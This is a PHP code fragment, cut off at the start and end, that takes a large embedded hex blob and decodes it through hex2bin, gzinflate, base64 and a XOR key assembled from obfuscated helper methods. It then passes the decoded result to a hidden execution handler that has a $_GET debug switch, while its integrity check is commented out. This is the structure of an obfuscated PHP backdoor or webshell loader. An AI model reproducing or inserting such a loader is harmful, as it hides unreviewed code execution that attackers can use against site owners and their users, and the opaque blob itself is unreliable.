df60ffa54e85dedc967ad54bea0d903f0dbd7c73bfe8a733807e0bf9c6f06fb5feb2e4bf54029f65e32bf53d4bf88d94029fcbf33af273a03e5a8afac7497d45faa5739ebe801e7f1bf7b303bda475c83f5fd2af0bfd55f017227fd0a83f942b3dd544f583a98741bce1c97955a02fcf791bf151e0d72d453d10e89b85fe86911e37e6c3b1df34f343ea25c3bf9c78f8a28dfd292dff8cf334f41fa99f24f98c311e93f87e2ffca123fe2cf43a237e5d07fc15e8b747f8df54f1414cff847a7f5dc9cf5f2b7f02153f5d07fcf00ef0ece447106fd0815ea2f6a7cad17f6ce3e713e00f174a3fa414fe5a915f95071f1df86c9b9fd7986f96f03368d08fa39fa3433ea3f4cfc83fb3fca30a7abe33a12fe4bcf27f34f9675ff829c6782fea8d2d14bed2413fdb430f3c117e58b6deaa05bf49eb739afc6788f99e537a05bcbe482fb48df565ed7c02fa23763d43afc4713df724be95fcfe75584fd37f927a0cf0ffb4d74f3f06fa050ec1e71f0a7e26f57e227c51d12a3e1ae74325f8d3f467ab316f2a85df8ea39fed7ff00d198f36384fbdea577bf4abb93e305fb5f773037d2bf2194a31af71d08b73a9d0d3b3fc4fe863912f1ef11553a9e7bd80deec5acdeb2af44312e897b9537ee6e4275b7c08f051769e3f855e4aa5f83443d57f2ad6c0dbd0dfba55f1a646be33437f2a417ec8f98c57fae927ebbf809f84f372c5fc49e8bfc57e5525f2f752e1f5959f51e4a703fc6012e945424f49e16dac1efe52fa47364affd5613eec85df0ef359eb7f84fdce7e77e407dc473c003fc2a5a2ff6df165c4db78a95f9c2b3d8a4ae14da85f34447f73a8f470c83f89d627f905f0b758d2cf790dffe1d37ae9c3b0df61f3d91ae74583fe8547bdbe51fc3ae62fd0bfb77a500df02a1e7aec5ee8375afc03f1e633e8a77bf0839cda5fca4fcdea9fa2deb0789052d483513f82fa70c08bf2f958bf8206e76322fcdfecf950a1dfeed02fa8847f99f56fae553edb019f7420f03049a477ba86bf0df0a74bea6f526f107c9f25e3fd1af392367ebec17e225f37577cc94ae9c3007f1ef50bbdb81eea9bdb7829fdd2a3fa0bf96811ea39d87c8ff1c80bbd3c8bc7e8a9fdb8c27a5ab5aa3fd5803f59024f522abf23e5cf15eba9ae153ea214f1d7f6a3a86f3e55f82c775a3f78aaf0207de44f9c1f76247e8a7e496bccaf81275c2eb09f453d1de863d13f16fce4637f395a1f5a7f02fe1845abe28f53fd9c81f4435d84f192fc08d3bff3e8af21bfa5df514d7dfba1ead7c17fcce265e8bf7b121f17d497d4cbca71ff16ca9fc1e33caec0cf207e23413dd1287cbd9ca7ac5ac537f1f03794fa005ee85127f0834a96327fa8f0fc12c1d78af419a08f66f5df6bec4fe209e94fe7e0ff43fe5d22fc11ec3cbb467eb2517a2ef407ede1fc72caff99fddc62a1f4243dfa8faa1eb1fcd912f37b877930fd0fa51f92d6935828fe8917fd28c7fe4526fa3936df43ff25f2f74b817f92fac526ffe988fe9fdd5f1efacce44b43dfc5f2f9897fd8287f9c0cf9ef10f8e23efa915ef43f2dff3543fd8ffc8d7ea4d1ffc33fc7debf12f18ffc59f2c3a6223fb1f991d23322bea7061fcb81ff6fff3f01fe682af4822c1ea8167e0f111fa38b7ad04b7dc2f0efe997bc8deaff05fa57c06faea867b2567e635ef8d1bba19ad743efd4f683255e2bc2ab083d9e00df867cdbcc6fa967d0c1bc8bf341e871497d3eeaefd9fdcdf9651ff8559ecfd25f47f3dd1a310fb37cb104fdce047a46cc171371de447ea003999f400faf5840dfaf8dfd23ed7c017aa5767d0ca1573714fa8ff41f35f94ce4f7d0ff1ffebb3df41b9ce2e72f73858f9ae23c6d105f3de645e44b95984fb21fea837950ac37d7a0de663d3815fc47ab3f4d3d71ea5dd58a5fe1a137d647ff7c28f577d6717d4fffd3a09fd5aa795482f3db2b3e8e433f20537802e843926f66cfcb1ece032fea7fab27d097f3b085f2c749109f1ce6f9e44797c8c737423fc6eedf29fa2becbfce90afd25fba823e4982ebf7aa7fd20beb89ba23f950d4635fc4f1c4f6435761bf28517ec7769e45fd2cd37fc5fc43f20992081f01bd94a5d04fb57884d55af93d78cc7713817fb5fdc10afda346f8a558fdb029f07b95c2ef527fb58bf31afafd913f97c4d79979bf13f5ee967e06d48f815f81c5e374457cd9b27f5b2ce0bf96877af1f47fa63fc93257f80be5a76bfb41ca4f21c2833be17f12ddefd51afcb1857abeecefd23f8efa94fe7ff8e972ff7ae52f43ffe481d49342ffd0f4cba9dfe285de8cd52fc1fd77e48bc97967a477b8407fbf853f69c8cfb5f851affa17cb369e3f07fe0172be3b055f26c1fe52fd525b7f57e80fccb09e6ae0bd13711eda78e4d0df98423fdf09bdc2484f0378197b3fbde09fdbfde8303faed14fae953f5526fc9fc987b1fd6027f4edd87fa19f22e7fb9caf331f8bf4240c1ea623f03b09f02771bf07faf6c0836cb5ff87f2abb67aa0b5d083735c8f5ec437ce3f2d1f177e76e43758bda606781ad93fa47e6f57e0dd2d1f8afed9c48ff4a51e61aefc1612e4578aaf64f1300ef500f92353557f0e155e7dc97e48a8ef63fbf503e00fb3d37e6a8d8a679897467e5d4ee96142ff9df533fd0a6cfecbfccc0bbeacc51b7bf4f389c702be90fc003d3f5ab5b11f4cac9f3853faecc4d30f50af0d055e8d7e0636bfa21e0ff10b3de07fe9d79629bf71f821457a067afe512bfca3c37cbf0f3dd51ee6aff43b72a7f5a42ae17f1be91391df9e9df66ba39f60adf8d51de1871ce96d1a7c5647f2ada0871fe987d3bf8cf8ff45c8cfc0bc96f3fd48bf4ee98f05fade0b9c7f2d9e4f1beb0d07fc089ee739f279c697900fcc7e1ff91db19e747b72bd52ef96fa4a9897d87ea1033ed62bfc10e65bf67e78a5370a7c16e37fa44f4efcf410f8824ce02b23bff042c6b70df8c915fac38c571ecf638aeb4bd4fd4e255fa0557ea4f447756afdb8d3f362e211585fd7823f4fbdf788ff4afd20877c8ef14ef547ecf70fa12f0cbea353fad8968fd011f1c1eabf67b8dfe087d5e80fd8fa2bc1f92cf56f9c98c76c151e28986fe5e8bfc30fc6e00f53f46fd04fb278e004e77983fe6703fc79adf491fbe067656a3e0fff6cfa4746fa95111e6aade2ab437d473ce84ce5631db9bff3900f5c2ce27a50e3416cbf93fc3a8f794d23f82a76fdd7c2cfad4e85de27f5d9227d7de803d97ea5977a9d39e6b5d4e73ed9dfb0f5f854e97f0e305fe6efa73f24f193d44be7efeb4a3e46abfc6937a857e91fec15de01f1dece532acc7737e8377bd4f7d4cb253e7f16e03d385f8bf56f12a18f1ce9f7c06f37aa0fa02f75fafc0dea9f70fe64f99a7d116fa9bf932ca5df20fb6d0ef510f5eb6be8a354cadf0bf1d06552af293fa977ca7e9597fcbb569dd7c4af52bfbb3ead1f119e27361fc03c28d237f16a5e5984f338bb7ea9b7c4fd9a623f79e15715e91398f314f308ea1b44fe434a1fdce2817be0e77ae4775ee8fbdafcba03fe36f5b7a1ff64f77ba3fcb3797ed1af2555789425f41fc1774a227e98c0a7d8f92af4f8e8bf6ce3dd50e14d4dbec2f99157fc7a939f78c19fb2e7eb50f9bbd35f7349fcee22e45b17e0d333bed12f3de203b4313f887ae9b6dfa3f1a81e7ee8f493f04acf7b10ea4738f865d5c09744f31f9caf8efb35839e9557f9ed52d67fd40b7488cfd44f70d80f09f6a7537e5e7c3ed487ca808f85ff3cf1b42e3ba5876dfd0896ad9a77ce84be3cfd86227f7427fc8222fc96995f39e039fa383fbbf0ebf44aff30dadf02ff6ffd10a8175348bf978dc2137be15714e9b744fa1cb2be9981bfe2855f8a8d8f0ef58117fdde5af907529f3af6ffcd63fd428b7788fccbc12fa2be34f4cfc9af8df28395cc2f4ad1afa2feb6cb041f8afaeb16af0dfdb2c88f70083e9d57f3df15fdae1631ff32d0dfa3fe5d88874dd0cf4cc0278af90ae8379bfe20fa3935f944f4f7025ec9d647aa9e617d65eb332ff84972be1efdde88df02bffb027ae0cb75dcbfa35e837dde4be8692e91ffafd64acfba56f376ea910c8087a09f8d937ca036f67f8beb9ba9aa57a13f6ee3c914f918fdf012e16715e963a5f87f35dfa0fe9cd5dff5025f6fff9e7e1fc4b3423fb1e6fc19f359cba7e77cae52fe3e1df079a887d5875ed449fe5fa0cf0cfe2dfb8bd4b383ff97cdf7074a7f4fd7070a0f55932fdb57fa66e07f24119fb48df5c8b5be953def6b85971d28fd7bd49f564f4ff993597de30ef02c1de157423f233b3f1d60bf837f1ccd2b87a7f52237aaffdb577e4d45c877df2ed91f433c89fc6a81ef36fd80be3aff4c3fc10b7f685b4f38e5c7003c4654bf2d5bf8a3b44aff867ccc70de6de74b667d70fe04bf77f281e8ef18e90d7791cf921f04fd12f22979fed8f8502a7f02f22b3b02af13cd87223fd5b03f64fb51c86fad5e5a0dbdcf527c9ec56f38315fb57a0a3ccfbcd0c7b7efd7d067f74a5faf0bfd512ff806d63fc3093f97584f1ef80df0276d3d82febfd4f74e8ab5c2373558cf33f453a6d8af89d283f6a8cf3bc83f55bcb4fa47f0afa2be53ed047f987a4c09f52b56ac2ff3184f457e03f9e781df45989fd37f600bfd58abf74fbd40faef76c4f56f8b75cc57357c223b4ff7e8a765c8cf3ad8df43e18f65e71f121f12e1ffa947b1403eb9061e147e6b473c790d7d62ea75d9e7d99c9e07e68aff590abde7c8ff9178c12ef8fb69d89f88f4ce33e1af62f54ce87fd3577c9565aefc7f6be807b1dfd408be1ff1a3752af06b96af90428f21157a0d91de53d49f5a2bfe7805fc30f55813a53f3a107e2696ffcb78453e523fd4938dfa45e4c3d31f34957eafa7d7c740e8e7d9feaac3fc6828f203bb3f1df8da4a7fdff26b33a5ff6af42632e53745fe7a21f5c736e0b794cacfab0fffe00ef623fcc323fcc340e0c592a5f0e7a25e5dc0876b637c775cef78a57f43bd12f8fb583d4ee2c31cf04a0df8f0c4ab4e853f07e73b8efb6d80fd0affc23a95fa62ade2b7d66afe42fdd7017e1ffc6c2c7fb542fd1cea7bd0cf8dfaefb17ecf0cf1ad54fc4da5b74ffcb9d51be8a03f9f86d71be9c50f15dfb390fa4f15facb25f4cd2b852f70cacf75d52affc529f2f14af9ddd11f6e28fc1f6d7cec0afc85e55770beeed01fc6fd27ffb3f6a7fc726cbe64f20fea8ba6ca3f19f3daf8bc443e58b4311e37d63fa3bf5da5fc1dc047a9f5fc897ad2d0a7473c31f5a39d97287e87c55356c2bfc39e5f33e893c87e1bf0c3b69e49c0bfadc5f3d7fae9e6fca15e731ffb6380f91ef9d643e0e353a93fd22a7d69e967d3417c55faa576de3050fe5b2bf02b57d06ba59fb4c98753b11ec9dfa61e02fbe7565fa723f1050be82f402f1df95ba467b00af35bab2f427e7a17f95d2afc409288ff4a3c4e1ee7b7b13e418dfcd6835fa6f86176fe549df45b2b72d59f2a857fa6e58b3ae08b4be8e9107fe7a1d72df16c4381774eb41e30f3970478c819eafbcd29bdd888df6a5ebb53fa1a96af5de4ca3f7da3f4f83deaab14f30ae2b19de80fda7c86fe48fef4fa99225e91ef49bcb313f38cc84f3d557a9dcabf9a7e84969fbf02ffbf90faa0b5580fd4eb71127f0c7fad6db18efb0d815f67abf4e01ae031e9bfe9517f7be1f76afbab09e61dac7f6bd17fb2f3f806fb27c1fcd5abe7dd917a21d4bb91f8052ff4f823bfda2ef09c43f41fe0976ae30ffd8699ffd4ca4f9af342ea7f511f3685de7f17fc210fbe3ae6a9363f6db03f4a5c7fa5ead7bed2875f627d038f14cf0bd66a7dd0ffb651f869ea1ff5949f77c4c70af1b6b65fd017f8a824d29fca633dee182f529df633c963fc4da06f91c7fd0bdbcf31f7b38f7cbb8b78c579a2f2178ff456d1cfde46fcd756f9dd940a2fadf815f437617e1ef933b03f08be96e5970e55fd15d5ffe41fc39f32d24782df30f01a763e2cf964917f09f014c0b36f4fd727919eac43ffa3affa93cb305e483f99404f4cea8d97820f61ebb729f0874ef8b1da790ef30ba7fc8e9de403b5e847e7783e6bf4e75ae81f84fa23b67fef945eec7ff8ab0c44fd9b507fac684ffad3103f94221feb29bfbb65aefca037c29fc351ff2e0df12051bf2313fa7136dfa69e00f4d358ffb05f64fde39b00cf1ed4032dfa292de6f3e8d719fd07cecf590f650a1f5ce4f17a0bfaf927fd5f6dbfc1297c22f5a486822f92401f9f7c118bd71c029f9ea17f00bff11a7ac0d45fb6ebc50b7c42a4e741ffc221f49f3cf41386c2df8ff8d824d2576ce3f812fb499788972a9ed8fad4018f54a9efeb637fa5f87d3dc50fa73e27fcdde3fa9af8a63cf4938ff031e1796ff39d81d0234ed0ef8be24de487b7567ecf4eccd31cfcc7e9e7617f3ff5fde827c1f85ba1bfd4287fc91ef064cc973baadf68f4038712ffb7005f7101be747bcabf86f5acd5ff69849f31fd1c6cffa9843f1ae70335be2f41fd463e96ea7f92df6ae779e1fc2ec67778bcef957f6406fc9917f8bd13782cea1757f0f3ac05ffc1a5d2cf1ef9d87271d29f05fe5dc77928f184819f64fe9fcf27c179b7253ecdc42bcc97eb8eac5f859fa57dbed1790fbeb3e25f057e07e003ac42bf595bcfa7a23eb1fdbc147c88e1693fb144c423db7f205f877e9c8de047457a769c9f337e820f6cf14e0df0909bd37aa2225f0beae105f846e057918fb392fed615f4cf1ae567493c75ef14ff30a8ffa07f1ee9d5e70a3f3a05dfb654fc64f85152ef8ff889e3791de841b731be80faf301be4bf25d6a853762fc4ea12fe0314f829fac3dcf1ac1278ef68f17f3669b0ff44fe9f5311f60fc8ff78f0ff065ecc759ff9c42f4db0dbf30592ed4bcad447ee994ded810f97d8a7e5e07f135437c871f8ebd1f8dc2ff516f09f1dce26dd92f9be2fcaa812faec17fabc1179a61fd51dfaa54fd0fd4dfece7dafa84fe2709f66fa9f4253a2a7fa33ec12af44bb7f359fa93f4f17cfb88e719f03c1de84f0d70deb19f05bd34abc7e8d08f49e037ec30dfa8a017d0a8f84abf330f3e4947e8cd6dc9b72c427c739c0fe0fca51e1bf46492a5e88f05fc0d51cf04f30fa9274d3f03f27f66c0f39522ff8ee6ada9f073db467a91422f3ed6ebaf94de13e73f29f277afea1ffaa5ae423e56dc9fa4dfc83ae457af508faafe09eb83984f5f623d70de473f8e12fce31afeafcc7f1afc7e07fc9313f370972a7c29fabdd453b6f38df4943f4180c75e84f38a027e6dc542e1776be8f12542ef99f96a74bda9c05bd9efe77c8a7ce001fa27d4aff5d83f19d637fd188642ffdceacbf17c1c08be4312e96b627e02bd53f25dedfae984f80e978a7c33811e9fcd3f52e8310c815f1c887e945dff4ee10f57d4cb0df11fc473dbfe7a2afaa5d17cdb9c37accfe82fd7517edd868fd151fad7cbb5c247cd82fa8c7cbec02f4dead353bf722aea1b5b6fd4e89faa7ea4cd5f12d413a5c087131f66cf8306f8f452cdff3be8d7f2f70c508f923f3254fa99f44b03df32f65767bf600d7c4b1ef6f38b5cf9afccfe873ed50c7a84b5e8f758bc01f99935f4cd36aa3fc278d9957af179880f317804f46ba3fccd4b3c581bf0cdac1e521f78973ee26b4ff903146bc52fa9e1d756a3fe235f82f14cf935d8799d17f80e8bdf207fae44be590aff949afe26d4bb001f88f3a21afc31991f12bf61ebb93ef8855ef97dc2cfc9e2df07a7f4bbd8af0ef063e8efa3bedb52ff63b5567e82f5a9ebb1fb0578eb087fd3977cc205f8d80be0b372c5c7774adf81fda72ef637f51132e18740feaec563f4a4ff5a0ebdc385e2db7bf49f66e86f34f87d15fc72a99f33c5fd28513f6c943ea547bc4d153fa36815fe3809cee720de2fa0ffda2a7d08e9e707ff13e219a55e8ccd5f8827e988f3d6eaf9f4d1cfc9e06fe1e027a5f08009f4f9627f6bf09f8b5ce9e57be813487dcf147a1d1de4d3f2fc5bad159fd4293cb9f6b3592bfd9b0df459bdd21fea41ff7f28f4f31275fe04f30ff41f4d7fa90bfea9c44f14a8ff576be88db74a3f9cf9bc13fe1035f1854ee89fb2df6ccf17e0ed6dbf51f155ec7c2c41ffb6467d4a7d9019f4e1a81f5e615ee3151f30833e87dcefcb1c7cb336f63b8ee70535f415880fa8fe0ff53df5cbd80f74d4c71f0afef3967ebdc542e97f34c28f43fb35169ccf2dc27c8cfde1e3794b3f6d87fd6ff319f23fa6e8c75742cfcd79a1ff66eb810c78b481d21f271e92fe10cbd04f23babfa61e967ec7e6fe78e84df4518f77a03797022fd6117e43b6beef207ea5883fe8efb934c4574afd249b9f434f35ea2739f07be9e7dc11785bfa5b47f59789a7d28f22c2c32d949f34e78195784dbcbb7d3e0ef94029f478c8c7b3785df67b2af57c1de647a9583ff6f974845f5facefba88f50263ffbb1af8e81a78ba067ec6c44b7955eff724beba557a1d15ce4fe2476be507d401de047a320efa3011bebc23f5dc855ebf8d17064fe2427f46fbf7e4273bf0b9bcf0d7a2df30fd0d22ffed8ed237a21e7eb188f9bf319f96fd9e99e28ba11e8efa5d4335afe63cdbea7f15bdeadde7c9a79f9f57df3ecdcbf2d7f2e6dbe3abf5c3f737e7eee3fcaef8355edf9617d797d9c7959b8fce46d7173757fd51b2f9f9f7eb6fd71f6e8a49f1617a7f5d1dfeffcb787251beb9ffb89e945f7e7e79b5d9fdfdd84f7effa817d5e5e3dbf3e9e3a87a184e5ed783bffacdcbf7151f3e6e27e555e7ef57df2ee65fefbe9deffe7e3cfef6ebfd229b5f57bbdfb23dfb3ada5efefaf8fae2ecaff1feef9fbeef32df7eba29b7d9e8e6f6f732f9f4fbcbebdb4fa3c9c3fdf8fecbf7ebbbe4e75f37d56c7456768a95bf9f97d75fa74df1657cb6fd79f3f5b223bfbfb7fbfeeadbcfddffef9ee7c3f7b779b51a55c9d7e5e2a23fde7eeaf2fbff5a147f9d8fcbb6b8d93e4e8a8ffe6dfee99f9b7272f6f7a4fc733f769fbfddbc3edfaecfd70fd5dbf3ab4faba6ace3fbfdf0f8aa7db87f7beee679b1cdf6bff75d71bdb8fad0fcf5ee61ec2eae07c36279b97b3d78b37b3d9cdfed5e9f65bbd7676ff7af6f4683e17279bb7bfdf0763e9eff2ab6bbf7c787ffffb27fff7ab4ffffabddebed68ff79d7fbff9fefff3e9bed5e67f3c3fffb1f9f56df0edf3739fcfffefbce662fdf7f31dafffffbddebc17cfffec360ff7d5787ffef8f7f5d57f8bd67cbfde7efdf1fdc1c7efffefd6cfffbd3fdf72f97fbdffff066feaa08ef5735b81bffbe5d8fe6eee76ebd2d466717d7afce6ffb79f9f0fddde3e6e3645efefbe7f5c7579bfcf3efe92fb3fef6f7f3df8bddfa1935dfe6976b3f9a979f76cfe7627d5e7e9bbf3faf6e27af6e37a3f3edddfbf96df6aead47378fb37f5fdd8f3637d5a7efd3dccf767ff2ef9bd7eefedda2fe7afb70fbfb697dec3fffe3eff9c5e8d3f1f5e566b73f6edf2db777afef6febeb87fae7e7de1d7e8ffb7bb7debebfb9cf1e27e5a07c7bf3b07bfe77cbc3f3b9b8f8737fd3ebc3fd3e3c9ff19fe7599ceddf6ffe39dcdfedfe7eb997e773787e4feb6174f8fffddf5f1ceeffedfef5fce5f31f2ef7ff7ffdf5cff3d9bedb3f8febc3f3d93fcf6c745c5ffbe73178f7677d2d9787ff1ffd8fe7135ddff8acdeade7e7d7abab4fafc3f8f0bcde97bbf870357fbf2816a3e4d3af55cfdf8fe6b7ebe9bcb89a1467fecdfd75ef7cbc9cbf392fdf8ecf265fdf7efdf863346ed6bbfbb91c9d6dbfbebafff8f74df5b198bcba0aeff7cd6d1c1faae5bfd7af375fc7f3dbf4edb898e5c5d5f757fdfafefaacfefd7955aafe0cf5a907c2bfd5ce271cf839e08351afd1d6afb59a57514fee29bf49e65f3fdf84f1e7e97e7eb92be63feaddfddcbc6b67b3d7cddd8fd737b77779f1f1db9b7c568c92e6beb819f526d5c77aba9ecfce938fe92e1e3d5c97a3f25d6ff3392f96dd49fef1fb689cad2fcfdd68711e3fafd5d7e4fe627c95be3f2f3fec9effcf578b8bc7d587fae2183fa378fafbbcbcddc7dbdde76fbfefe3d9f5649e04fba7ccbe7d5e4ddf5c3c7cbbbf386ffe9d97a3afd3b62edeed9ecff9ebfafec3e45347efefbbcdabf5f87e779e7cfdfce1f65351ce77eb69f0783ef9f4fbf32ede4f26d7bbe7bbf9ba3baffe7df7e1eefac32e5ebc7e3dedeef6ebfa6d7e9defe2f1e387afd5fe7c38bfee7d33fbf9183fc6378375dedccddfac8b2fa3a62c17af2feff2bbf9e3f4befcf272dee4c9f7cbf1edf5fcf1d3af57ebd1d7ddeff97699cf3fe68fb70f17f98f8ff3d2fffcebd5e6c4f5fdf87b91f8f07e1cbe7f7381f5fc69945c6717af2f715e1edefffe6ef1e9e3ee795e4feecfbe8e77e7df6e7fbcb9a8ceba739c2ff9c44fedf51de2ddd9dd7c771edf8e9767c38bd15931d99defaf73f7f6fcae197ec0f3fbf0eacfe71d7e5ffe4fff100f3bbbf5f67ebfff8b9bc37e4d2ff3e2c3fcf1f6fbf96efd4db697ff4ecae6ddeefa3f5f2c46ff160fd3c7bf1687f3f4b15884bf6fbfbeaec60f3f76f17936afcefa17e717bd499995d3de663e4e3efefbeae6b6b9ae067f8fe6df3e2d9b8ffd0f5f2fefcee73f3abbf87b3dde3def0fc1f5dd3d5ef4a7ffe6dba57f7b3e985f3fde5e5e8d3e7ebc06befb904f3de5a78362ebbf2f928fea795ce7938bebf1fd6d7ff1143f0fe7e1213e2ff7e7dbd9f4705eeee3f1c5fe3c3d3bc4e38b43fcbdfa733e3f9d97e3d1f1f53e1e3f7cc1f9f2f4fb4767dffc6e3dddeef65b67b7def6fbf5db87f9edede5ef6f39f38fa7787cb6dbefc9fdfefafe5e1feb89f13e3e7dd85f6fb3bfdefee17a5fefafb7d9c793e6502f2ff6ef6f37fbf70ff9f387fdfb9beee1ef0fffbfffbc641faffa877cf375f3e7f3b6a37d7c6a9be0fbccf79f1dea8775f657981f627dafdc2c3fbbbbde9dd7bf0eebf7c62d27d5e0f1d5cd977f1767e1fecc9bf1febc09fe1ef95ebc9f17b37f76fbee71bcbe789c54eefbe42ec9ae1e6735eab7c3ef7d8ae7677fbd6b268fc53e7e96d5cfcfcda7f1f2eeece67c5534ef7779f6dffbd793c19fd7fecdf8d3b818dded5e7fdaee5e0fdeeedfbfdefffdf5ddfef53ff33fef5f3f1edfdfee5e8f7fef5fff5dee5f7fdbbd9ef70eafc77fde3fbccefe9e07af076f0faf0f9f57bdfc9ed1c3cbefbb7df93df364fff7fbd7cbc98f97cf7bfbea4ec5537f917fec5d8ccb70fddfd5c1fd9cdf5ddebf9b17ff9c27d7dfdfac2f77e7b7dbe7f7fbf8f67d729edd8ee757e964fde5f6a27a78ae0fdcf7f78b2fd377c5e1797e7fca67cfae5ef6c385ff31c17a7efb3b797bbe8b27bbf8d33fdf7e9cbf6d77e757f394cf2ee7fbfd56fd73f8ff433e3af8b3fffcfcc3f8fe66f2e9fb53bc9e305fc92ece6fbfede2733a3ddf3c8e2617f717bbfc6e59799e47776fd69fae76f1e9d772f1f1e7c5fa6117cf3fedf2bbbb9fa39b4d187f6faeefcecb07fff6d5e5978b6ad9dde52bdfcfcbd9713f2ffcbbcfaf9fcfc7873bff3abfdeddafd9eefafc87f172fbf8eabeb9cfe73fd269defc3379bdcbd7fa9b68fdde14d5cfd13e7f7df8f1fd62975f9d8fa63fff0ee3c5f737bffd3ffbfa6cfe586f9717e1ffefceb9c1533df3e0c7bf7767f7f5f5bfef5bff7652245f2ff26fbbf8beab6f5e5deef3497ff1fa253fbc3cbc7ec927cb7d3ee90ef9e0537e3a9b8f278f3755106fffac9f9f6fdafacd68bbcb6fee3f3eee7ef89fcf1f1ee2e1d9fe7965ef0ff9e6ebf1f797fce1a1c8ff499e3fef6673b58be78f93af97d5a4b9abdf2f66ab7c7cd71d9deff297ed6d7af9f561bcabaf7e9d07df5fdeadbe5ede4c9aebf565fef0294fce86af6fcebe5e3f4ce3fbf168eec77c771edfb8dbc978f473dc8ed6fbfaebcdf9b7f9fcd575fffaf1e33faf1e26d9e4e6f2fd87deeef5ef4fe52edffcf7ea66531ccec30fa3ddfbd7f5e7dec74f87bfef5d1d5eefffbed8bd9effbed8bdded5bd37976fc7abfdfb1f5fde5f369bc70fac7f17a3c7c9dd5536ed1df2fbc1a11e389c27cde7433ebefd73de3cd753877a6d9fff3f8ce7a3d99ff3785f9f3cefa7cbdf17e36cb0af4f76eb3f7df5fba29f370f779f1793e5c5d71f576ff3d19be5d9fc31ceaf96abf9d77d7e72b91d3717f76ff3f96c7e573d7ffed3fddee5516ede9f7676e7f18fe9ba286e92e5f0cd7ab43e1f4f1fff5e7dbcbcd9ce82bf9f4cce86a37c545f97d7bfdeadb3f7cbc7db7f77e7fb8f71397b3cc4d7d13ebe5d97fb78ba8f77c5f53e5e7dd9c7b3741f0f8b62fffec5d7ebc971bfeef3993ff76ff2f0ed71f4fbaabfcb13bebdcfe79f2faa8bbb57fdcb6fe7edf2afab9bf2fbd5f524fbf0a1be7f15e4abd31f37c5c7c9be1edfd51bdf76f5643da93ea5a8ef7ebcdfd50fbb7afdebe4f7d98ff32abb7f3f2fdeeef3910fabe9af25f3b7bbddfebaf16f77ebb59ee4178fc5c5e5fcedc27f3eae9799db3ffff17ebdacae77afa7e9e7deb17e79ddaf2ffe7cde7831fa3e19efea95579b7f2e925ded73f3e3c7f9e4e3e6fdbcf970fef5e2e3abc7f17051f99f57613c283f3d6e3a877c6c71f97ddc2cfffdfce147d8afd89faf65d9168b8bfe45fe904def0797c57c5c87782c37389cf787f3715fbf9cfd7c39ff3f183fa8c99cf571f6f6dc5d4d269f7e8dd71f9b5dbc29df7ff8f1e6a63c9c6fede13c3c3cef8bfdebb3fdeb378f77c7fed1febc39fb133f2f9b7c3bdaf77f3e8d2ececac9fae3f7f379f9f3edbdfbf53e59f6aecac9d92a71513df4e971f9e9b27818eef2e5df797355bf7df5ed4d9c6f94bf76f97cef7cf4f1d79bf5c5d37ebf99ecf7f7e39bf36afefc7bb7c7f375bf1e27dbc3faeced4aad6af938598f7eecf2d3fb5d7cbb5e9477c3717bfbb838bd1eb2d1629fcf3da47fbf7e788e2ffbf850f477ebe1cd721f5f1e6ff7f1a6f7ff713d54d391bf3a4fb2e472354b4fac87767436f9b5cb5f1fce9babbbf7ab6f6fa3fd5efdd8d5f23fbe5fcd77fb0de7cbe5efeddbfdf932c947cd689bcddfb5fefd2e3fddd523df1e5fdd7d5c4fd7eef6e97e8d1eaf279ba77ce9908f8c0ef9cefefe1593b33ff7337bbbcf47464d7d3afe6dfe1a9ffdf8be8b97b7e3f2aa3e7efe61fdf8bf5ff299dbf5eef5f0903f8db2437cd8bfff7675723df546e36f5fdf3c06f7aff33e2fcb37d5c3ecf5637d6a3f6d2e926ff7afcf27f7bbfb975e2e8a2ff3bb5ac7c3bbabbb778bfaf3f9d37eea8f8af9faf362fa71528cbf3ef57b967ff2ffa7f3f410cf9ffa75afce7fdcedd7c765fe6577bd93fb62f1b19934b3afccf777f77f7671f6ad2c0ef16432389c3787f369bf9ea6bdddebabe5e33ebe7cdbc79becb0be76e7cffc71529e386f77f9d66097df7cb91f8faeeededcbbebbcf8f4eb62fdf1cdacb9be7bd59e5d2ee76359af4de787f5383d4fce7e5cbc9e36617ef4a3baae76ebe9d5b7d7f3bba4fbe144fdfa277f79ba3fd7c7fb337ae987bd39d45bfb7caf39f41f2f8fe7ddd3ef79d5dc7ddff723743deffeba48dc6ebf4fcb3febf139df3ec4a3a7f578c88f87fbf574c8cf479b1af94d1be493bb7c77b4b86d76ebc7bfbf291f2793dbe1fcd5e4df437d79e8f70cf6f132191d5e3fe1838bfe71bdbffa5d4cfe7cdebb1bff575e5dfc08eae787bb74d22e2f26edadffe7f58ff94d73877ef297bbe2fa653d3ff7c33edd2f5f07e7dbd77c34f6fbfec878574f4ef21fb7e371b67ebff06f6f5ef29f1fbfdead2eff7ae9071efab34ffde18b0fbb7cb0bceabd5b7c3af4bf0ff9f7b878e93f1efac5e3fdfaddee9f977faa7ff7afcbcf87fee4f5cbfb57fb7cf1d83ff8d3ffbb4b96c573bfe6d5edaedefdd42e0bf7e3901fedd7736fbfbec7fbf372f6f4fac77e7df70feb7df567bd3fc7cff1e6643e7a8847d78397e7fd661f2faafdf3ff7276c82ff6ef57fbfc62d2dfc78f7f1eef107fc74ffd8e66f063d45cfefbaefdd2b9bcb8fb76f16adeaece7c76db1feffb03c39b57937dfc4d9ef2af7d3feef66aba7b1eff0f';
$hex_data = substr($hex_data, 8);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmVTDhJe91', 'kmbzRUNF39', 'kmilCkuf53', 'kmitDfjP89'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtaYPSPx79', 'gtvawRXI80', 'gtiFoVCs14'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== '98dd4b3a1e54a6ff43d32c2f6dbdda31') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_wxdVlAaS83($plain_code);
}
private function kmbzRUNF39() {
// Key segment 2
$jv2 = (bool)mt_rand(0,1);
return base64_decode('SUo5');
}
private function gtaYPSPx79() {
// Gate piece 1
$buf = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('st9v2');
}
private function _execute_wxdVlAaS83($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
